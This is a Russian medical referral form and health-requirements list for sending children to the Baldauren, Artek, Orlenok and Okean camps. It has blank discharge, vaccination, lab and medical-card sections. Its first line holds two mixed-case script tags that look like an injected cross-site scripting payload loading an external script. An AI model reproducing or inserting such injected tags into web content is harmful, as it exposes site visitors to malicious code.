<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Т Р Е Б О В А Н И Я
К МЕДИЦИНСКОМУ ОТБОРУ И НАПРАВЛЕНИЮ ДЕТЕЙ И ПОДРОСТКОВ НА ОТДЫХ, ОЗДОРОВЛЕНИЕ И ОБУЧЕНИЕ В РЕСПУБЛИКАНСКИЙ УЧЕБНО-ОЗДОРОВИТЕЛЬНЫЙ ЦЕНТР «БАЛДАУРЕН» (РЕСПУБЛИКА КАЗАХСТАН), ВСЕРОССИЙСКИЕ ДЕТСКИЕ ЦЕНТРЫ «ОРЛЕНОК», «ОКЕАН» ГОС.КОМИТЕТА РФ ПО МОЛОДЕЖНОЙ ПОЛИТИКЕ
1. Медицинская карта заполняется школьным (участковым) врачом-педиатром или врачом подросткового кабинета с комплексной оценкой состояния здоровья.
2. В «Орленок» направляются дети и подростки, как правило, в возрасте 11-15 лет (в летний период – с 9 лет), в «Океан» - дети и подростки в возрасте 13-17 лет (в летний период с 10 лет).
3. Все дети и подростки по приезду в «Орленок», «Океан» и «Балдаурен» проходят обязательный медицинский осмотр; те из них, кому противопоказано направление и пребывание в Центре по состоянию здоровья, а так же не имеющие полностью оформленной мед.карты и путевки возвращаются обратно за счет направившей организации или родителей, с сообщением в адрес мед. учреждения, заполнившего карту и территориальных органов государственной санитарно-эпидемиологической службы.
4. Обязательным является результат обследования на дифтерию за 5 дней до отъезда детей и подростков в «Орленок», «Океан» и «Балдаурен».
5. Дети и подростки должны быть привиты по возрасту и с учетом эпидемиологической ситуации в регионе проживания. Предоставить копию формы 063.
6. Противопоказаниями для направления и приемы в Центры являются:
- все заболевания в остром периоде;
- все формы туберкулеза различных органов и систем;
- ревматизм в активном и межприступном периоде, до снятия с диспансерского учета;
- приобретенные и врожденные пороки сердца и сосудов, в том числе оперированные;
- гипертоническая болезнь;
- заболевания крови и кроветворных органов;
- эпилепсия, другие судорожные припадки и их эквиваленты;
- острые психические заболевания и реактивные состояния;
- бронхоэктическая болезнь, бронхиальная астма;
- язвенная болезнь желудка и 12-перстной кишки;
- острый нефрит, пиелонефрит – не ранее 5 лет после стихания процесса, хронический нефрит, пиелонефрит, почечно-каменная болезнь, врожденные аномалии почек, сопровождающиеся нарушением их функций;
- заболевания эндокринной системы, сахарный диабет, тиреотоксикоз;
- все заразные, паразитные заболевания кожи (чесотка, грибковые поражения и др.)
- злокачественные новообразования любой локализации
При направлении реконвалесцентов после инфекционных заболеваний следует руководствоваться соответствующими приказами Минздрава Республики Казахстан, Минздравмедпрома Российской Федерации, Минздравов стран Центральной Азии.
7. Нуждающиеся в санации зубов – п р о с а н и р о в а н ы.
8. Дети пораженные педикулезом, должны пройти санобработку.
Заполняется в «Балдаурене», «Артеке», «Орленке», «Океане» в 2-х экземплярах: 1-й экз. остается в Центре, 2-й экз. – подлежит возврату в лечебно-профилактическое учреждение по месту жительства или учебы ребенка.
ВЫПИСНОЙ ПРИКАЗ (1-й экз.)
Эффективность пребывания в центре , изменения в соматическом статусе, психо-физическом развитии и.т.д. __
_______________________________________________________________________________________________
_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Перенесенные заболевания _______________________________________________________________________
_______________________________________________________________________________________________
Контакт с инфекционными больными: □ «да», □ «нет», □ «выдана справка».
Диагноз при выписке _____________________________________________________________________________
_______________________________________________________________________________________________
Рекомендации __________________________________________________________________________________
Оставлен(а) до выздоровления (дата, место госпитализации, диагноз) ___________________________________
_______________________________________________________________________________________________
Оставлен(а) на повторную смену на период с ___________________ до _________________ 20 __ г.)
«___» __________ 20 ___ г. Врач: ___________ (фамилия, И.О.) _____________ (подпись)
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
РЕСПУБЛИКАНСКИЙ УЧЕБНО-ОЗДОРОВИТЕЛЬНЫЙ ЦЕНТР «БАЛДАУРЕН»,
МЕЖДУНАРОДНЫЙ ДЕТСКИЙ ЦЕНТР «АРТЕК», ВСЕРОССИЙСКИЙ ДЕТСКИЙ ЦЕНТР «ОРЛЕНОК» / «ОКЕАН»
Печать направляющей организации
печать/штамп мед.службы/
мед.отдела Центра/Лагеря
ВЫПИСНОЙ
ЭПИКРИЗ
(2-й экз.)
(направляется в детское лечебно-профилактическое учреждение по месту жительства/обучения ребенка и подшивается в индивид. Мед.карту)
Эффективность пребывания в центре, изменения в соматическом статусе, психо-физическом развитии и т.д. __
_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
Перенесенные заболевания _______________________________________________________________________
_______________________________________________________________________________________________
Контакт с инфекционными больными: □ «да», □ «нет», □ «выдана справка».
Диагноз при выписке _____________________________________________________________________________
_______________________________________________________________________________________________
Рекомендации __________________________________________________________________________________
Оставлен(а) до выздоровления (дата, место госпитализации, диагноз) ___________________________________
__________________________________________________________________________
Оставлен(а) на повторную смену на период с ___________________ до _________________ 20 __ г.)
«___» __________ 20 ___ г. Врач: ___________ (фамилия, И.О.) _____________ (подпись)
Указать название детского центра (дружины) ________________________________________________________
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ДАННЫЕ ИЗ СЕРТИФИКАТА О ПРОФИЛАКТИЧЕСКИХ ПРИВИВКАХ ШКОЛЬНИКА
ПРИВИВКИ НАЗВАНИЕ ПРЕПАРАТА ДАТА ВВЕДЕНИЯ ДОЗА СЕРИЯ ЗАФИКСИРОВАННЫЙ РЕЗУЛЬТАТ
Против кори
V1
RW
Дифтерия, коклюш, скарлатина
V1 V2 V3
RW1 RW2
RW3 RW4
Эпидпаротит
Т В С
Гепатит
Прочие
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ОСМОТР НА ПЕДИКУЛЕЗ
Указать когда, где ____________________________________________________________________________________________
Проводилась санитарная обработка: □ «да», □ «нет». Дата осмотра «___» _________________ 20___ г.
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ДАННЫЕ ОСМОТРА НА КОНТАГИОЗНЫЕ КОЖНЫЕ ЗАБОЛЕВАНИЯ
Указать когда, где Ф.И.О. подпись, штамп врача
____________________________________________________________________________________________
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ДАННЫЕ ЛАБОРАТОРНЫХ ИССЛЕДОВАНИЙ
Общий анализ крови __________________________
№ анализа ________ дата «___» ________20___ г. Общий анализ мочи ___________________________
№ анализа ________ дата «___» ________20___ г.
Анализ кала на яйца гельминтов ______________
№ анализа _________ дата «___» ________20___ г. Анализ кала на кишечную группу ________________
№ анализа__________ дата «___» ________20___ г.
Анализ на дифтерию из зева и носа ____________
№ анализа _________ дата «___» ________20___ г. Флюорография _______________________________
№ анализа _________ дата «___» ________20___ г.
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ДАННЫЕ О ЛЕЧЕБНО ПРОФИЛАКТИЧЕСКОМ УЧРЕЖДЕНИИ, ВЫДАВШЕМ МЕД.КАРТУ
Полное наименование ___________________________________________________________________________
Почтовый адрес и телефоны ______________________________________________________________________
Вышестоящая организация здравоохранения ________________________________________________________
Должности, Ф.И.О., подписи и персональные печати ответственных лиц, оформлявших мед.карту:
главный врач лечебн. учреждения заведующий отделением врач врач
Ф.И.О. Ф.И.О. Ф.И.О. Ф.И.О.
Подпись Подпись Подпись Подпись
М.П. М.П. М.П. М.П.
дата дата дата дата
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
СПРАВКА РАЙОННОЙ/ГОРОДСКОЙ САНИТАРНО-ЭПИДЕМИОЛОГИЧЕСКОЙ СТАНЦИИ ПО МЕСТУ ЖИТЕЛЬСТВА РЕБЕНКА
оформляется не ранее, чем за 4 дня до выезда в «Артек», «Орленок», «Океан» и «Балдаурен»
СПРАВКА ОБ ЭПИД.ОКРУЖЕНИИ
ВЫДАНА В ТОМ, ЧТО НА ПРОТЯЖЕНИИ 21 ДНЯ, ПРЕДШЕСТВУЮЩИХ ВЫДАЧЕ, ПО МЕСТУ УЧЕБЫ РЕЦИПИЕНТА, СЛУЧАЕВ ИНФЕКЦИОННЫХ ЗАБОЛЕВАНИЙ И КОНТАКТОВ С ИНФЕКЦИОННЫМИ БОЛЬНЫМИ НЕ НАБЛЮДАЛОСЬ.
Название, адрес учебного учреждения, № школы, выдавшего справку____________________________________________________________________________________________
Дата _______ ФИО медицинского работника Роспись _________ Личная печать
ФИО директора школы _______________________ Роспись _________ Печать учреждения
ВЫДАНА В ТОМ, ЧТО НА ПРОТЯЖЕНИИ 21 ДНЯ, ПРЕДШЕСТВУЮЩИХ ВЫДАЧЕ, ПО МЕСТУ ЖИТЕЛЬСТВА РЕЦИПИЕНТА, СЛУЧАЕВ ИНФЕКЦИОННЫХ ЗАБОЛЕВАНИЙ И КОНТАКТОВ С ИНФЕКЦИОННЫМИ БОЛЬНЫМИ НЕ НАБЛЮДАЛОСЬ.
Название, адрес учреждения, выдавшего справку (указать место проживания ребенка)_________________________________________________________________________________________
Дата _______ ФИО медицинского работника Роспись _________ Печать учреждения
№ ___________ ___/ 20___ г. № ______ «__________________» № ______
номер путевки год смена детский лагерь (дружина) Отряд
заполняется в «Артеке», «Орленке», «Океане» или «Балдаурене»
ШТАМП ЛЕЧЕБНО-ПРОФИЛАКТИЧЕСКОГО УЧРЕЖДЕНИЯ
(ДЕТСКОЙ ПОЛИКЛИНИКИ, ШКОЛЬНОГО МЕД.ПУНКТА) ПЕЧАТЬ НАПРАВЛЯЮЩЕЙ
ОРГАНИЗАЦИИ
МЕДИЦИНСКАЯ
КАРТА № _____
РЕБЕНКА (ПОДРОСТКА), НАПРАВЛЯЕМОГО В «БАЛДАУРЕН», «АРТЕК», «ОРЛЕНОК», «ОКЕАН»
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
Фамилия, имя, отчество __________________________________________________________________________
Пол: _____________ Дата рождения «___» _____________19 ___ г.
Место учебы и адрес учреждения образования ______________________________________________ класс ___
Домашний адрес: _________________________________________________________ телефон ______________
Фамилия, имя, отчество родителей или лиц, их заменяющих, место работы, должность, рабочий и домашний телефоны
Мать _____________________________________
______________________________________________________________________________________________________________________________
Отец _____________________________________
______________________________________________________________________________________________________________________________
Др. лицо _________________________________
______________________________________________________________________________________________________________________________
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
МЕДИЦИНСКИЕ ДАННЫЕ
Анамнез _______________________________________________________________________________________
данные о развитии ребенка, ранее полученных травмах, всех перенесенных заболеваниях, аллергоанамнез
______________________________________________________________________________________________________________________________________________________________________________________________
Перенесенные инфекционные заболевания __________________________________________________________
_______________________________________________________________________________________________
Состоит на диспансерском учете ___________________________________________________________________
диагноз, с какого времени, дата последнего обострения
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□
ДАННЫЕ ОБЪЕКТИВНОГО ОСМОТРА
Физическое развитие _____________________________________________________________________________
_______________________________________________________________________________________________
Нервно-психическое развитие _____________________________________________________________________
_______________________________________________________________________________________________
Группа здоровья: □ I, □ II, □ III, □ IV. Режим: □ общий, □ щадящий
Медицинская группа для занятия физ.культурой и спортом: □ основная, □ подготовит., □ специальн.
Диагноз основной _______________________________________________________________________________
Сопутствующие заболевания ______________________________________________________________________
_______________________________________________________________________________________________
Врачебное заключение __________________________________________________________________________
_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________
(фамилия, инициалы, персональный штамп-печать врача)